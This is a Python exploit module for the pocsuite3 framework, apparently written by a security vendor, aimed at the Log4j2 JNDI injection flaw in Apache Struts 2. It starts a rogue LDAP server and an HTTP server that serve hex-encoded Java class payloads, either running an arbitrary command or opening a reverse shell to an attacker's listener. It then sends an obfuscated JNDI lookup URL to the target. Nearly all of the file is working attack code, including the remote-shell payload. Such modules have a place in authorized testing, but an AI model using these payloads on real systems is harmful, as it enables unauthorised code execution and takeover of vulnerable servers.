import binascii
import hashlib
import json
import random
import socket
import socketserver
import threading
import time
from http.server import BaseHTTPRequestHandler
from urllib.parse import parse_qs, urljoin

from pocsuite3.api import (
    Output, POCBase, register_poc, get_listener_ip, requests, get_listener_port)
from pocsuite3.lib.core.common import get_host_ip
from pocsuite3.lib.core.data import logger
from pocsuite3.lib.core.enums import VUL_TYPE, POC_CATEGORY
from pocsuite3.lib.utils import random_str
from pocsuite3.modules.httpserver import PHTTPServer


class Attribute(object):
    def __init__(self, name, values):
        self.name = name
        self.values = values

    def write_to(self, buffer):
        attr_sequence = buffer.begin_sequence()
        buffer.add_octet_string(self.name)
        value_set = buffer.begin_set()

        for value in self.values:
            buffer.add_element(value)

        value_set.end()
        attr_sequence.end()


class ASN1Element(object):
    def __init__(self, type):
        self.type = type

    @staticmethod
    def encode_length_to(length, buffer):
        if ((length & 127) == length):
            buffer.append(length)
        elif ((length & 255) == length):
            buffer.append(-127 % 256)
            buffer.append(length & 255)
        elif ((length & 65535) == length):
            buffer.append(-126 % 256)
            buffer.append(length >> 8 & 255)
            buffer.append(length & 255)
        elif ((length & 16777215) == length):
            buffer.append(-125 % 256)
            buffer.append(length >> 16 & 255)
            buffer.append(length >> 8 & 255)
            buffer.append(length & 255)
        else:
            buffer.append(-124 % 256)
            buffer.append(length >> 24 & 255)
            buffer.append(length >> 16 & 255)
            buffer.append(length >> 8 & 255)
            buffer.append(length & 255)


class ASN1OctetString(ASN1Element):
    def __init__(self, value):
        super().__init__(4)
        self.type = 4
        self.valueBytes = list(value.encode("utf-8"))
        self.length = len(self.valueBytes)

    def encode_to(self, buffer):
        buffer.append(self.type)
        self.encode_length_to(self.length, buffer)
        buffer.extend(self.valueBytes)


class ASN1BufferSet(object):
    def __init__(self, buffer):
        self.buffer = buffer
        self.value_start_pos = buffer.length()

    def end(self):
        self.buffer.end_sequence_or_set(self.value_start_pos)


class ASN1BufferSequence(object):
    def __init__(self, buffer):
        self.buffer = buffer
        self.value_start_pos = buffer.length()

    def end(self):
        self.buffer.end_sequence_or_set(self.value_start_pos)


class ASN1Buffer(object):
    def __init__(self, max_buffer_size=1048576):
        self.maxBufferSize = max_buffer_size
        self.buffer = []

    def get_byte_data(self):
        return bytes(self.buffer)

    def begin_sequence(self, type=48):
        self.buffer.append(type)
        return ASN1BufferSequence(self)

    def begin_set(self, type=49):
        self.buffer.append(type)
        return ASN1BufferSet(self)

    def add_integer(self, int_value, type=2):
        self.buffer.append(type)
        if (int_value < 0):
            if ((int_value & -128) == -128):
                self.buffer.append(1)
                self.buffer.append(int_value & 255)
            elif ((int_value & -32768) == -32768):
                self.buffer.append(2)
                self.buffer.append(int_value >> 8 & 255)
                self.buffer.append(int_value & 255)
            elif ((int_value & -8388608) == -8388608):
                self.buffer.append(3)
                self.buffer.append(int_value >> 16 & 255)
                self.buffer.append(int_value >> 8 & 255)
                self.buffer.append(int_value & 255)
            else:
                self.buffer.append(4)
                self.buffer.append(int_value >> 24 & 255)
                self.buffer.append(int_value >> 16 & 255)
                self.buffer.append(int_value >> 8 & 255)
                self.buffer.append(int_value & 255)
        elif ((int_value & 127) == int_value):
            self.buffer.append(1)
            self.buffer.append(int_value & 127)
        elif ((int_value & 32767) == int_value):
            self.buffer.append(2)
            self.buffer.append(int_value >> 8 & 127)
            self.buffer.append(int_value & 255)
        elif ((int_value & 8388607) == int_value):
            self.buffer.append(3)
            self.buffer.append(int_value >> 16 & 127)
            self.buffer.append(int_value >> 8 & 255)
            self.buffer.append(int_value & 255)
        else:
            self.buffer.append(4)
            self.buffer.append(int_value >> 24 & 127)
            self.buffer.append(int_value >> 16 & 255)
            self.buffer.append(int_value >> 8 & 255)
            self.buffer.append(int_value & 255)

    def add_element(self, element):
        element.encode_to(self.buffer)

    def add_octet_string(self, value, type=4):
        self.buffer.append(type)
        if value == None:
            self.buffer.append(0)
        else:
            ASN1Element.encode_length_to(len(value), self.buffer)
            self.buffer.extend(list(value.encode("utf-8")))

    def end_sequence_or_set(self, value_start_pos):
        length = len(self.buffer) - value_start_pos
        if (length == 0):
            self.buffer.append(0)
        else:
            if ((length & 127) == length):
                self.buffer.insert(value_start_pos, length)
            elif ((length & 255) == length):
                self.buffer.insert(value_start_pos, -127 % 256)
                self.buffer.insert(value_start_pos + 1, length & 255)
            elif ((length & 65535) == length):
                self.buffer.insert(value_start_pos, -126 % 256)
                self.buffer.insert(value_start_pos + 1, length >> 8 & 255)
                self.buffer.insert(value_start_pos + 2, length & 255)
            elif ((length & 16777215) == length):
                self.buffer.insert(value_start_pos, -125 % 256)
                self.buffer.insert(value_start_pos + 1, length >> 16 & 255)
                self.buffer.insert(value_start_pos + 2, length >> 8 & 255)
                self.buffer.insert(value_start_pos + 3, length & 255)
            else:
                self.buffer.insert(value_start_pos, -124 % 256)
                self.buffer.insert(value_start_pos + 1, length >> 24 & 255)
                self.buffer.insert(value_start_pos + 2, length >> 16 & 255)
                self.buffer.insert(value_start_pos + 3, length >> 8 & 255)
                self.buffer.insert(value_start_pos + 4, length & 255)

    def length(self):
        return len(self.buffer)


class ProtocolOp(object):
    def __init__(self, dn, attr_list):
        self.dn = dn
        self.attr_list = attr_list

    def write_to(self, buffer):
        op_sequence = buffer.begin_sequence(type=100)
        buffer.add_octet_string(self.dn)
        attr_sequence = buffer.begin_sequence()

        for attr in self.attr_list:
            attr.write_to(buffer)

        attr_sequence.end()
        op_sequence.end()


class LdapMessage(object):
    def __init__(self, message_id, protocol_op):
        self.message_id = message_id
        self.protocol_op = protocol_op

    def write_to(self, buffer):
        messageSequence = buffer.begin_sequence()
        buffer.add_integer(self.message_id)
        self.protocol_op.write_to(buffer)

        messageSequence.end()


class LdapRequestHandler(socketserver.BaseRequestHandler):
    g_conn_pool = []
    success_data = {}
    ldap_ip = None
    ldap_port = None

    def handle(self):
        rec_count = 0
        while True:
            try:
                byte_data = self.request.recv(1024)
                rec_count += 1

                if binascii.b2a_hex(byte_data) == b'300c020101600702010304008000':
                    response_byte = bytes.fromhex("300c02010161070a010004000400")
                    self.request.sendall(response_byte)

                if rec_count == 2:
                    flag = byte_data[9:9 + int(byte_data[8])].decode("utf-8", errors="ignore")
                    logger.info("Ldap receive flag: " + flag)
                    response_byte = self.get_ldap_data(flag)
                    self.request.sendall(response_byte)
                    LdapRequestHandler.success_data[flag] = True

                    self.request.sendall(bytes.fromhex("300c02010265070a010004000400"))
                    self.remove()
                    break
            except:
                self.remove()

    def get_ldap_data(self, dn):
        http_ip = HttpRequestHandler.http_ip
        http_port = HttpRequestHandler.http_port

        attr1 = Attribute("javaClassName", [ASN1OctetString("aaa")])
        attr2 = Attribute("javaCodeBase", [ASN1OctetString("http://{}:{}/".format(http_ip, http_port))])
        attr3 = Attribute("objectClass", [ASN1OctetString("javaNamingReference")])
        attr4 = Attribute("javaFactory", [ASN1OctetString(dn)])
        attr_list = [attr1, attr2, attr3, attr4]

        protocol_op = ProtocolOp(dn, attr_list)
        message_id = 2
        ldap_message = LdapMessage(message_id, protocol_op)

        buffer = ASN1Buffer()
        ldap_message.write_to(buffer)
        return buffer.get_byte_data()

    def finish(self):
        pass

    def setup(self):
        logger.info("receive ldap connection：{}:{}".format(self.client_address[0], self.client_address[1]))
        LdapRequestHandler.g_conn_pool.append(self.request)

    def remove(self):
        if self.request in LdapRequestHandler.g_conn_pool:
            LdapRequestHandler.g_conn_pool.remove(self.request)

    @staticmethod
    def check_success(flag, timeout=5):
        start_time = time.time()
        while time.time() - start_time <= timeout:
            success = LdapRequestHandler.success_data.get(flag)
            if success != None:
                return success


class HttpRequestHandler(BaseHTTPRequestHandler):
    http_ip = None
    http_port = None
    success_data = {}

    cache_class = {}

    def do_GET(self):
        status = 200

        path_str = self.path
        if path_str.startswith("/AUTO"):
            logger.info("Http send class: " + path_str)
            class_name = path_str.strip("/").strip().split(".")[0]
            class_byte = HttpRequestHandler.cache_class[class_name]
            self.send_response(status)
            self.send_header('Content-Type', 'application/octet-stream')
            self.send_header("Content-Length", str(len(class_byte)))
            self.end_headers()
            self.wfile.write(class_byte)

    def general_class(self, type, command, class_name):
        class_hex = ""
        if type == "exec":
            class_hex1 = "CAFEBABE000000330058010024"
            class_hex2 = binascii.b2a_hex(class_name.encode()).decode()

            class_hex3 = (
                "0700010100106A6176612F6C616E672F4F626A6563740700030100146A6176612F696F2F53657269616C697A61626"
                "C650700050100063C696E69743E010003282956010004436F64650C000700080A0004000A0100083C636C696E6974"
                "3E0100106A6176612F6C616E672F537472696E6707000D0100135B4C6A6176612F6C616E672F537472696E673B070"
                "00F0100186A6176612F6C616E672F50726F636573734275696C6465720700110100116A6176612F6C616E672F5072"
                "6F636573730700130100116A6176612F7574696C2F5363616E6E65720700150100136A6176612F6C616E672F54687"
                "26F7761626C6507001701000D537461636B4D61705461626C6501000B476F74204E6F7468696E6708001A01")

            class_hex4 = "%04x" % len(command)
            class_hex5 = binascii.b2a_hex(command.encode()).decode()
            class_hex6 = ("08001C01000C6A6176612F696F2F46696C6507001E01000D736570617261746F7243686172010001430C"
                          "0020002109001F002201000776616C75654F660100152843294C6A6176612F6C616E672F537472696E67"
                          "3B0C002400250A000E00260100015C080028010006657175616C73010015284C6A6176612F6C616E672F"
                          "4F626A6563743B295A0C002A002B0A000E002C010005285B4229560C0007002E0A000E002F010015284C"
                          "6A6176612F6C616E672F537472696E673B29560C000700310A000E0032010016285B4C6A6176612F6C61"
                          "6E672F537472696E673B29560C000700340A00120035010005737461727401001528294C6A6176612F6C"
                          "616E672F50726F636573733B0C003700380A0012003901000E676574496E70757453747265616D010017"
                          "28294C6A6176612F696F2F496E70757453747265616D3B0C003B003C0A0014003D010018284C6A617661"
                          "2F696F2F496E70757453747265616D3B29560C0007003F0A001600400100025C4108004201000C757365"
                          "44656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C"
                          "2F5363616E6E65723B0C004400450A001600460100076861734E65787401000328295A0C004800490A00"
                          "16004A0100046E65787401001428294C6A6176612F6C616E672F537472696E673B0C004C004D0A001600"
                          "4E010005636C6F73650C005000080A001600510100136A6176612F6C616E672F457863657074696F6E07"
                          "00530A0054003201000A536F7572636546696C65010029")
            class_hex7 = class_hex2
            class_hex8 = ("2E6A6176610021000200040001000600000002000100070008000100090000001100010001000000052A"
                          "B7000BB1000000000008000C0008000100090000018C000C000A0000012AA70003014C121B4D121D4EB2"
                          "0023B800273A0419041229B6002D990009043605A70006033605150599004806BD000E5903BB000E5906"
                          "BC085903106391545904106D9154590510649154B70030535904BB000E5905BC085903102F9154590410"
                          "439154B700305359052D533A07A7007406BD000E5903BB000E591009BC085903102F9154590410629154"
                          "5905106991545906106E91545907102F9154590810629154591006106191545910071073915459100810"
                          "689154B70030535904BB000E59BB000E5905BC085903102D9154590410639154B70030B700335359052D"
                          "533A07BB0012591907B700363A06013A081906B6003A3A08BB0016591908B6003EB700411243B600473A"
                          "091909B6004B99000B1909B6004FA700042C4D1909B60052BB0054592CB70055BFBF0000000100190000"
                          "0050000803FF001F0005000507000E07000E07000E0000FC000201FB0049FD007000070010FF0037000A"
                          "000507000E07000E07000E0107001207001007001407001600004007000EFF000E000000010700180001"
                          "0056000000020057")
            class_hex = class_hex1 + class_hex2 + class_hex3 + class_hex4 + class_hex5 + class_hex6 + class_hex7 + class_hex8
        elif type == "reverse":
            reverse_ip = command.split(":")[0]
            reverse_port = int(command.split(":")[1])

            class_hex1 = "CAFEBABE00000033007C010024"
            class_hex2 = binascii.b2a_hex(class_name.encode()).decode()

            class_hex3 = "0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C65010029"
            class_hex4 = class_hex2

            class_hex5 = ("2E6A61766101000273760100154C6A6176612F696F2F496E70757453747265616D3B010002747001001"
                          "64C6A6176612F696F2F4F757470757453747265616D3B0100063C696E69743E0100032829560C000B00"
                          "0C0A0004000D010004436F646501002E284C6A6176612F696F2F496E70757453747265616D3B4C6A617"
                          "6612F696F2F4F757470757453747265616D3B29560C0007000809000200110C0009000A090002001301"
                          "00146A6176612F696F2F53657269616C697A61626C650700150100106A6176612F6C616E672F5468726"
                          "561640700170A0018000D0100083C636C696E69743E01000C6A6176612F696F2F46696C6507001B0100"
                          "0D736570617261746F7243686172010001430C001D001E09001C001F0100106A6176612F6C616E672F5"
                          "37472696E6707002101000776616C75654F660100152843294C6A6176612F6C616E672F537472696E67"
                          "3B0C002300240A002200250100015C080027010006657175616C73010015284C6A6176612F6C616E672"
                          "F4F626A6563743B295A0C0029002A0A0022002B010007636D642E65786508002D0100072F62696E2F73"
                          "6808002F01000F6A6176612F6E65742F536F636B657407003101")

            class_hex6 = "%04x" % len(reverse_ip)
            class_hex7 = binascii.b2a_hex(reverse_ip.encode()).decode()
            class_hex8 = ("080033010016284C6A6176612F6C616E672F537472696E673B4929560C000B00350A003200360100116"
                          "A6176612F6C616E672F52756E74696D6507003801000A67657452756E74696D6501001528294C6A6176"
                          "612F6C616E672F52756E74696D653B0C003A003B0A0039003C01000465786563010027284C6A6176612"
                          "F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003E003F0A003900"
                          "400100116A6176612F6C616E672F50726F6365737307004201000E676574496E70757453747265616D0"
                          "1001728294C6A6176612F696F2F496E70757453747265616D3B0C004400450A0043004601000F676574"
                          "4F757470757453747265616D01001828294C6A6176612F696F2F4F757470757453747265616D3B0C004"
                          "800490A0032004A0C000B00100A0002004C01000573746172740C004E000C0A0018004F0A003200460A"
                          "0043004A01000D537461636B4D61705461626C6501000372756E0100166A6176612F696F2F427566666"
                          "57265645265616465720700550100196A6176612F696F2F496E70757453747265616D52656164657207"
                          "0057010018284C6A6176612F696F2F496E70757453747265616D3B29560C000B00590A0058005A01001"
                          "3284C6A6176612F696F2F5265616465723B29560C000B005C0A0056005D0100166A6176612F696F2F42"
                          "7566666572656457726974657207005F01001A6A6176612F696F2F4F757470757453747265616D57726"
                          "9746572070061010019284C6A6176612F696F2F4F757470757453747265616D3B29560C000B00630A00"
                          "620064010013284C6A6176612F696F2F5772697465723B29560C000B00660A006000670100057772697"
                          "465010007285B43494929560C0069006A0A0060006B010005666C7573680C006D000C0A0060006E0100"
                          "0472656164010007285B43494929490C007000710A005600720100136A6176612F6C616E672F4578636"
                          "57074696F6E070074010005636C6F73650C0076000C0A005600770A006000770100025B4307007A0021"
                          "00020018000100160002000200070008000000020009000A000000040000000B000C0001000F0000001"
                          "100010001000000052AB70019B1000000000000000B00100001000F0000001B000200030000000F2AB7"
                          "00192A2BB500122A2CB50014B1000000000008001A000C0001000F0000008F000500060000005EA7000"
                          "3014CB20020B800264E2D1228B6002C990009122E4DA7000612304DBB003259123411")
            class_hex9 = "%04x" % reverse_port
            class_hex10 = ("B700373A04B8003D2CB600413A05BB0002591905B600471904B6004BB7004DB60050BB0002591904B6"
                           "00511905B60052B7004DB60050B10000000100530000001F000303FF001700040005000700220000FF"
                           "000200040005070022070022000000010054000C0001000F000000C70005000700000071014C014DBB"
                           "005659BB0058592AB40012B7005BB7005E4CBB006059BB0062592AB40014B70065B700684D112000BC"
                           "054EA7000F2C2D031504B6006C2CB6006F2B2D032DBEB6007359360403A3FFE8A700083A05A700032B"
                           "01A500072BB600782C01A500072CB60079A700083A06A70003B100020004004E005100750056006800"
                           "6B007500010053000000340008FF0033000507000207005607006007007B010000FA000BFF00110003"
                           "0700020700560700600001070075040808420700750400010005000000020006")
            class_hex = class_hex1 + class_hex2 + class_hex3 + class_hex4 + class_hex5 + class_hex6 + class_hex7 + class_hex8 + class_hex9 + class_hex10

        return class_hex

    def do_POST(self):
        status = 200

        path_str = self.path
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode()
        params = parse_qs(post_data)
        params = {key: params[key][0] for key in params}

        command = params.get("command", "whoami")
        type = params.get("type", "exec")

        class_hex = ""
        class_name = "AUTO" + hashlib.md5(random_str().encode()).hexdigest()
        class_name = class_name.upper()
        ret_json = {}
        if path_str == "/commonClass":
            class_hex = self.general_class(type, command, class_name)
            logger.info("Genarate class {}".format(class_name))
            ret_json['result'] = class_name

        HttpRequestHandler.cache_class[class_name] = bytes.fromhex(class_hex)
        ret_json_str = json.dumps(ret_json).encode()

        self.send_response(status)
        self.send_header('Content-Type', 'text/xml')
        self.send_header("Content-Length", str(len(ret_json_str)))
        self.end_headers()
        self.wfile.write(ret_json_str)

    def do_HEAD(self):
        status = 404

        if self.path.endswith('jar'):
            status = 200
        self.send_response(status)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", "0")
        self.end_headers()

    @staticmethod
    def get_target_data(random_str, timeout=10):
        start_time = time.time()
        while time.time() - start_time <= timeout:
            if HttpRequestHandler.success_data.get(random_str):
                return True

    @staticmethod
    def get_usable_port():
        for i in range(100000):
            port = random.randint(1000, 10000)
            s = socket.socket()
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                s.bind(('', port))
            except Exception:
                continue
            s.close()
            return port


class LdapThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):

    def __init__(self, bind_ip="0.0.0.0", bind_port=667, requestHandlerClass=LdapRequestHandler):
        self.bind_ip = bind_ip
        self.bind_port = bind_port
        super().__init__((bind_ip, bind_port), requestHandlerClass)

    @staticmethod
    def get_usable_port():
        for i in range(100000):
            port = random.randint(1000, 10000)
            s = socket.socket()
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                s.bind(('', port))
            except Exception:
                continue
            s.close()
            return port

    def start(self, daemon=True):
        server_thread = threading.Thread(target=self.serve_forever, daemon=daemon)
        server_thread.start()
        logger.info("Starting ldap on: ldap://{}:{}".format(self.bind_ip, self.bind_port))


LdapRequestHandler.ldap_ip = get_host_ip()
LdapRequestHandler.ldap_port = LdapThreadedTCPServer.get_usable_port()
ldap = LdapThreadedTCPServer(bind_ip=LdapRequestHandler.ldap_ip, bind_port=LdapRequestHandler.ldap_port,
                             requestHandlerClass=LdapRequestHandler)
ldap.start(daemon=True)

# 开启http服务
HttpRequestHandler.http_ip = get_host_ip()
HttpRequestHandler.http_port = HttpRequestHandler.get_usable_port()
httpd = PHTTPServer(bind_ip=HttpRequestHandler.http_ip, bind_port=HttpRequestHandler.http_port,
                    requestHandler=HttpRequestHandler)
httpd.start(daemon=True)


class DemoPOC(POCBase):
    vulID = ''
    version = '1'
    author = 'knownsec.com'
    vulDate = '2021-12-16'
    createDate = '2021-12-16'
    updateDate = '2021-12-16'
    references = ['']
    name = 'Apache Struts 2 Log4j2 RCE'
    appPowerLink = 'https://struts.apache.org/'
    appName = 'Apache Struts 2'
    appVersion = ''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = []
    install_requires = []
    suricata_request = ''''''
    suricata_response = ''''''
    dork = {}
    desc = '''
    Apache Struts 2 Log4j RCE
    '''
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _rce(self):
        flag = random_str()
        vul_url = urljoin(self.url + "/", "$%7Bjndi:ldap:$%7B::-/%7D/{}:{}/{}%7D/".format(LdapRequestHandler.ldap_ip,
                                                                                          LdapRequestHandler.ldap_port,
                                                                                          flag))
        try:
            requests.get(vul_url)
        except Exception as ex:
            logger.error(ex)
        return LdapRequestHandler.check_success(flag)

    def _exec(self, mode, uri):
        ret = ''
        type_ = ''
        command = ''
        remote_vul_url = "http://{}:{}".format(HttpRequestHandler.http_ip, HttpRequestHandler.http_port)
        if mode == 'shell':
            type_ = 'reverse'
            command = "{}:{}".format(get_listener_ip(), get_listener_port())
        if mode == 'attack':
            type_ = 'exec'
            command = self.get_option("command")
        data = {'type': type_, 'command': command}
        if uri == '/commonClass':
            resp = requests.post(urljoin(remote_vul_url, uri), data=data)
            if resp.status_code == 200:
                ret = resp.json().get('result', '')

        vul_url = urljoin(self.url + "/", "$%7Bjndi:ldap:$%7B::-/%7D/{}:{}/{}%7D/".format(LdapRequestHandler.ldap_ip,
                                                                                          LdapRequestHandler.ldap_port,
                                                                                          ret))
        try:
            requests.get(vul_url)
        except Exception as ex:
            logger.error(ex)

    def _verify(self):
        result = {}

        if self._rce():
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def _attack(self):
        self._exec(mode="attack", uri="/commonClass")

    def _shell(self):
        self._exec(mode="shell", uri="/commonClass")

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail()
        return output


register_poc(DemoPOC)
